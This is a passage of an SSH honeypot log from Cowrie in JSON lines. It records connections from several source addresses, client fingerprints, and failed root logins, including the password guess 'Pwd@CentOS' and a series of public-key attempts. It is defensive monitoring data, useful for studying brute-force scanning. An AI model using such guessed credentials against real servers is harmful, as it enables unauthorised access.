es128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:22:03.957950Z","src_ip":"43.130.29.69","session":"976d02f01573","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pwd@CentOS","message":"login attempt [root/Pwd@CentOS] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:22:04.265514Z","src_ip":"43.130.29.69","session":"976d02f01573","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:22:05.338223Z","src_ip":"43.130.29.69","session":"976d02f01573","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":16368,"dst_ip":"159.203.135.109","dst_port":22,"session":"70db1f1660cf","protocol":"ssh","message":"New connection: 194.59.206.2:16368 (159.203.135.109:22) [session: 70db1f1660cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:22:15.416039Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:22:15.419752Z","src_ip":"194.59.206.2","session":"70db1f1660cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:22:15.513023Z","src_ip":"194.59.206.2","session":"70db1f1660cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:22:15.607244Z","src_ip":"194.59.206.2","session":"70db1f1660cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.182.109","src_port":50424,"dst_ip":"10.17.0.5","dst_port":22,"session":"c6b116766a6e","protocol":"ssh","message":"New connection: 107.6.182.109:50424 (10.17.0.5:22) [session: c6b116766a6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:22:44.372293Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:22:44.377644Z","src_ip":"107.6.182.109","session":"c6b116766a6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:22:44.461730Z","src_ip":"107.6.182.109","session":"c6b116766a6e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"14:7c:ca:db:44:f0:f6:b7:a9:ad:2b:de:94:6b:b0:6c","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJf1SNQ6lfxtiDF/cENx83IGoKLvailVlUk27Lnr4r4aBS+82y3YruZRaLvNXIQmnpM/syDyouDvOLFSBaTcXpnUbzYldXgA027hZoD2lqBSBXvFSw+0LBjWPocwVG2mIB1OWXHw9TlaxIgLf9sx3A7wHdHOwlAKBj7MKh9K/Je/AAAAFQDhDbMcRTv+soYMWP1JkNzUIkiY/wAAAIAJ9+tMxhU2RGOVmGRkLF5NZopgEkLaELdL7SbBgQzyCmLmr/v/imzo2dmkUPahbWfrG0hx7WBdryGZYt1cAoGJ8NeJVe1rYCgdFi6c25ZUtphugy1NewP1YDl6qoZPWZNm82PKkggrqR4SXYLTVQlc81nfeNO6S2SC/eBRNKbkcgAAAIEAj0Nc3oeBSen0XkZD08NJkNiTDypCGdyuaurA9ESZ2n2zwjeRsSGbrgSxVaSn+dP34RT03z7VwhZxt9FgUjcfPCpYfpaOVdzkY61Xxxy1HzQnd0AU42XFrHOqCxiKyz+2gIJq6QLwUAlday8rC62BcGNxCpXaibte2DhTWif9gkc=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 14:7c:ca:db:44:f0:f6:b7:a9:ad:2b:de:94:6b:b0:6c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:22:44.853804Z","src_ip":"107.6.182.109","session":"c6b116766a6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"14:7c:ca:db:44:f0:f6:b7:a9:ad:2b:de:94:6b:b0:6c","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJf1SNQ6lfxtiDF/cENx83IGoKLvailVlUk27Lnr4r4aBS+82y3YruZRaLvNXIQmnpM/syDyouDvOLFSBaTcXpnUbzYldXgA027hZoD2lqBSBXvFSw+0LBjWPocwVG2mIB1OWXHw9TlaxIgLf9sx3A7wHdHOwlAKBj7MKh9K/Je/AAAAFQDhDbMcRTv+soYMWP1JkNzUIkiY/wAAAIAJ9+tMxhU2RGOVmGRkLF5NZopgEkLaELdL7SbBgQzyCmLmr/v/imzo2dmkUPahbWfrG0hx7WBdryGZYt1cAoGJ8NeJVe1rYCgdFi6c25ZUtphugy1NewP1YDl6qoZPWZNm82PKkggrqR4SXYLTVQlc81nfeNO6S2SC/eBRNKbkcgAAAIEAj0Nc3oeBSen0XkZD08NJkNiTDypCGdyuaurA9ESZ2n2zwjeRsSGbrgSxVaSn+dP34RT03z7VwhZxt9FgUjcfPCpYfpaOVdzkY61Xxxy1HzQnd0AU42XFrHOqCxiKyz+2gIJq6QLwUAlday8rC62BcGNxCpXaibte2DhTWif9gkc=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:22:44.858093Z","src_ip":"107.6.182.109","session":"c6b116766a6e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4a:0a:f1:17:f9:63:46:c9:c9:e6:b1:df:17:37:41:6a","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILzRNldZBgqVzi4/HOWXzqNVkc8YGYi9m1x/gvaWLyV2","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 4a:0a:f1:17:f9:63:46:c9:c9:e6:b1:df:17:37:41:6a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:22:44.941708Z","src_ip":"107.6.182.109","session":"c6b116766a6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4a:0a:f1:17:f9:63:46:c9:c9:e6:b1:df:17:37:41:6a","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILzRNldZBgqVzi4/HOWXzqNVkc8YGYi9m1x/gvaWLyV2","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:22:44.945956Z","src_ip":"107.6.182.109","session":"c6b116766a6e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"47:44:20:f2:a2:44:66:f4:4b:f2:93:1a:d0:6b:16:4a","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAgqisoDBrVo5b/HxynGSjdd7+Uzgc5/KLa4GfotIgKq","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 47:44:20:f2:a2:44:66:f4:4b:f2:93:1a:d0:6b:16:4a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:22:45.033548Z","src_ip":"107.6.182.109","session":"c6b116766a6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"47:44:20:f2:a2:44:66:f4:4b:f2:93:1a:d0:6b:16:4a","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAgqisoDBrVo5b/HxynGSjdd7+Uzgc5/KLa4GfotIgKq","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:22:45.037523Z","src_ip":"107.6.182.109","session":"c6b116766a6e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"65:a6:af:76:a9:62:56:e4:bf:31:ed:e0:b5:4d:fc:cf","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMk8rquaPmI6VkidmGmPPH57M2LRMUIzdDPD+iRPiTQq","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 65:a6:af:76:a9:62:56:e4:bf:31:ed:e0:b5:4d:fc:cf","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:22:45.121460Z","src_ip":"107.6.182.109","session":"c6b116766a6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"65:a6:af:76:a9:62:56:e4:bf:31:ed:e0:b5:4d:fc:cf","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMk8rquaPmI6VkidmGmPPH57M2LRMUIzdDPD+iRPiTQq","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:22:45.124486Z","src_ip":"107.6.182.109","session":"c6b116766a6e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"61:a3:6b:00:15:bb:5e:ea:c0:69:85:96:fa:24:e7:5b","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKzk+sMf1tvrYj3lR58P66Ih3n1/0VqGIFQHsBM9456F","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 61:a3:6b:00:15:bb:5e:ea:c0:69:85:96:fa:24:e7:5b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:22:45.207692Z","src_ip":"107.6.182.109","session":"c6b116766a6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"61:a3:6b:00:15:bb:5e:ea:c0:69:85:96:fa:24:e7:5b","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKzk+sMf1tvrYj3lR58P66Ih3n1/0VqGIFQHsBM9456F","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:22:45.211495Z","src_ip":"107.6.182.109","session":"c6b116766a6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.212","src_port":40278,"dst_ip":"10.17.0.5","dst_port":22,"session":"34af180566f1","protocol":"ssh","message":"New connection: 62.182.85.212:40278 (10.17.0.5:22) [session: 34af180566f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:22:45.266041Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:22:45.273417Z","src_ip":"62.182.85.212","session":"34af180566f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:22:45.294869Z","src_ip":"107.6.182.109","session":"c6b116766a6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:22:45.407243Z","src_ip":"62.182.85.212","session":"34af180566f1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c1:ae:95:a8:fc:7c:f8:af:e7:db:2b:1c:40:06:ca:8c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3FKiP3CPdBkxyiX9SeaufOcUnFSTUH2HjOVFHie9aI/2vTsAzWU6NdphgUSHtlw6ja5SD57TkutFZvU5ubJKy2Lbl8y3EWSXf38bVYG8xXiWvh2EUcAAVFwXmKIEZlZSyBAvJ0PbQLulSGBrIb2/mU/swOu8dMddtjRLEpPf5fgMzg+YRGWplLZ7FDWcHUEH4zIwaX/irRPC+B+BhQAdtc4gDllSSdghMJ+9XI/QEQ+x2v1QAAr2jHD62K2cD4NitHj5+AnFblmqdWOEzkVTDfNvSgOGZZmH8Q6w5+uv+kpYuG3mbdNr8hViFAGaKUE28UX0A5J13vxQQ3b41dH65","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c1:ae:95:a8:fc:7c:f8:af:e7:db:2b:1c:40:06:ca:8c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:22:46.045737Z","src_ip":"62.182.85.212","session":"34af180566f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c1:ae:95:a8:fc:7c:f8:af:e7:db:2b:1c:40:06:ca:8c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3FKiP3CPdBkxyiX9SeaufOcUnFSTUH2HjOVFHie9aI/2vTsAzWU6NdphgUSHtlw6ja5SD57TkutFZvU5ubJKy2Lbl8y3EWSXf38bVYG8xXiWvh2EUcAAVFwXmKIEZlZSyBAvJ0PbQLulSGBrIb2/mU/swOu8dMddtjRLEpPf5fgMzg+YRGWplLZ7FDWcHUEH4zIwaX/irRPC+B+BhQAdtc4gDllSSdghMJ+9XI/QEQ+x2v1QAAr2jHD62K2cD4NitHj5+AnFblmqdWOEzkVTDfNvSgOGZZmH8Q6w5+uv+kpYuG3mbdNr8hViFAGaKUE28UX0A5J13vxQQ3b41dH65","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:22:46.049486Z","src_ip":"62.182.85.212","session":"34af180566f1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0e:02:1f:32:4c:4f:76:c1:8a:6f:28:2b:a0:aa:0d:fa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyqt266lPKYTVD4GpLUA7/pJahOVuTY3ylepNzuRG7vrQdlSXjIPTx72JZPw6Gi8P/efcepXxxCCAiToMV8GPW/27HMuwI9ieGK9zb7DHNYPXYuOnIOJF748T6l4k7gPh0ryml0oG7T/TgKOTeB4gkP1lcPmFB7EerSXD7CiClrH3fOUDURR107Ej9g31Il0hOIANBmaBbiwz0Wz51285FXJUK4he9wHK1JSnn714pryrcDIWhKIeJ6UnCCnMZyF3x1/jVUvTVj4TWPkwH+TLuK7bnbdyJPdqAnDmjeju4ep1L6A/DTp8FKVNL9PeQvfdyprlOgkpfoHyqzFevYwp6w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0e:02:1f:32:4c:4f:76:c1:8a:6f:28:2b:a0:aa:0d:fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:22:46.182254Z","src_ip":"62.182.85.212","session":"34af180566f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0e:02:1f:32:4c:4f:76:c1:8a:6f:28:2b:a0:aa:0d:fa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyqt266lPKYTVD4GpLUA7/pJahOVuTY3ylepNzuRG7vrQdlSXjIPTx72JZPw6Gi8P/efcepXxxCCAiToMV8GPW/27HMuwI9ieGK9zb7DHNYPXYuOnIOJF748T6l4k7gPh0ryml0oG7T/TgKOTeB4gkP1lcPmFB7EerSXD7CiClrH3fOUDURR107Ej9g31Il0hOIANBmaBbiwz0Wz51285FXJUK4he9wHK1JSnn714pryrcDIWhKIeJ6UnCCnMZyF3x1/jVUvTVj4TWPkwH+TLuK7bnbdyJPdqAnDmjeju4ep1L6A/DTp8FKVNL9PeQvfdyprlOgkpfoHyqzFevYwp6w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:22:46.186058Z","src_ip":"62.182.85.212","session":"34af180566f1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2b:65:de:2a:eb:7d:e0:54:8b:5d:f9:fd:da:cc:66:52","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDJmvB81ysEn9WGmdSYfxd7yJOcPyB6xhU5g+9cWxqrHs5YCXr/qmLvUUr3Dt+esSCIJk/0upJX8I/49vfckbF0m4zGB0IzLNBzbym0zCwxkFsZZet4X9dislIkrOscEo8gxrMWh7POZQqZmQ/Q3oMLhx7TedCSdvN8ptNjVyLMwxsgHj/XDaut09rgr0wnoVxQLWJM0MPOUJpYttm4NfO++pGsXjnJYak9ITm52m+gaCGOmeErrP/yGfKc20DvN6LlQPqUzbYLqw63Ja+BxFyll2cxEeQVXkuXQDhR0pg6Ia/kf/W2Uui4m4N8maf7yVgMHYoPkLv6NPbiGmlqPQa22s45T9YxFw+xy2Lq50kLM4zLsbreLNJn7JCxaYKT3ZgmmfJonffspaD8BCwP8gZUwhoj6qhmYZ6RuGqQ4oSPJvmm/98Oo8ndj/sN/B7dRasDVuzE+0FxX7i9/AIAaNlsY5gfln5Sh35mrhiQTuL+4xD3yLHcmfTjkycJ/PsSL2bTNzTf/LWnkXhCtM2vhC+YhC6M6BbZlomSeOB/ddLqUzFyA6QpdS+sY/70r7UHMVaHzx6SEJh1nlXepegQXNcokEKTVFR3i+nwqkcLF8pSiEzqAQhHXRDpAHJSAI+dVF+dLcFxIzoxMB2wzFB+IAWMm8N0DwIPpCovvZx1N3Pkrw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2b:65:de:2a:eb:7d:e0:54:8b:5d:f9:fd:da:cc:66:52","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:22:46.318888Z","src_ip":"62.182.85.212","session":"34af180566f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2b:65:de:2a:eb:7d:e0:54:8b:5d:f9:fd:da:cc:66:52","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDJmvB81ysEn9WGmdSYfxd7yJOcPyB6xhU5g+9cWxqrHs5YCXr/qmLvUUr3Dt+esSCIJk/0upJX8I/49vfckbF0m4zGB0IzLNBzbym0zCwxkFsZZet4X9dislIkrOscEo8gxrMWh7POZQqZmQ/Q3oMLhx7TedCSdvN8ptNjVyLMwxsgHj/XDaut09rgr0wnoVxQLWJM0MPOUJpYttm4NfO++pGsXjnJYak9ITm52m+gaCGOmeErrP/yGfKc20DvN6LlQPqUzbYLqw63Ja+BxFyll2cxEeQVXkuXQDhR0pg6Ia/kf/W2Uui4m4N8maf7yVgMHYoPkLv6NPbiGmlqPQa22s45T9YxFw+xy2Lq50kLM4zLsbreLNJn7JCxaYKT3ZgmmfJonffspaD8BCwP8gZUwhoj6qhmYZ6RuGqQ4oSPJvmm/98Oo8ndj/sN/B7dRasDVuzE+0FxX7i9/AIAaNlsY5gfln5Sh35mrhiQTuL+4xD3yLHcmfTjkycJ/PsSL2bTNzTf/LWnkXhCtM2vhC+YhC6M6BbZlomSeOB/ddLqUzFyA6QpdS+sY/70r7UHMVaHzx6SEJh1nlXepegQXNcokEKTVFR3i+nwqkcLF8pSiEzqAQhHXRDpAHJSAI+dVF+dLcFxIzoxMB2wzFB+IAWMm8N0DwIPpCovvZx1N3Pkrw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:22:46.322729Z","src_ip":"62.182.85.212","session":"34af180566f1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f5:86:0d:92:a3:f1:7e:f1:14:05:f6:63:20:24:fd:65","key":"ssh-rsa 